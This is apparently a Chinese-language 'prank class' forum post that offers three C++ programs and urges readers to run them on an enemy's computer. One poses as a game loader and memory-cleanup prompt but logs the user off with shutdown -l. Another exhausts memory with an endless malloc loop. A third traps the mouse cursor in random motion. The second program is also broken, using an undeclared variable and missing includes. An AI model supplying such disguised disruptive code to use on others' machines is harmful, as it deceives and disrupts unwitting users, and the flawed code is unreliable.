欢迎来到整蛊课堂:
我希望大家可以在你的仇人电脑上用 🆗?
下面有请三个超整蛊代码上场:
1.
#include<bits/stdc++.h>
#include<windows.h>
#include<stdlib.h>
using namespace std;
int main()
{
int n;
cout<<"开始游戏按1"<<endl;
cin>>n;
if(n==1)
{
for(int i=0;i<100;i++)
{
cout<<"--------------------------------------------"<<endl;
cout<<" 地图:沙漠2 ------------------------------"<<endl;
cout<<" 正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
cout<<"--------------------------------------------"<<endl;
Sleep(100);
system("cls");
}
}
cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
cin>>n;
if(n==1){
cout<<"开始清理"<<endl;
Sleep(5000);
cout<<"哈哈哈"<<endl;
system("shutdown -l");
}
if(n==2){
cout<<"内存不够,开始强行清理!"<<endl;
system("shutdown -l");
}
return 0;
}
#include <stdlib.h>
int main(void)
{
cout<<"作者是不是猪?(是填1,不是填2)"<<endl;
cin>>a;
if(a==1){
cout<<"你完了"<<endl;
while(1)
{ malloc(20000); }
}
else{
cout<<"算你识相"<<endl;
}
return 0;
}
#include <stdlib.h>
#include <windows.h>
#include<bits/stdc++.h>
using namespace std;
int main()
{
int a;
cout<<"作者是不是猪?(是填1,不是填2)"<<endl;
cin>>a;
string c;
if(a==1){
cout<<"你完了"<<endl;
int x,y;
while(1)
{ x = rand()%801;
y = rand()%601;
SetCursorPos(x,y); }
}
else{
cout<<"算你识相"<<endl;
}
return 0;
}
任意一个对方立即阵亡。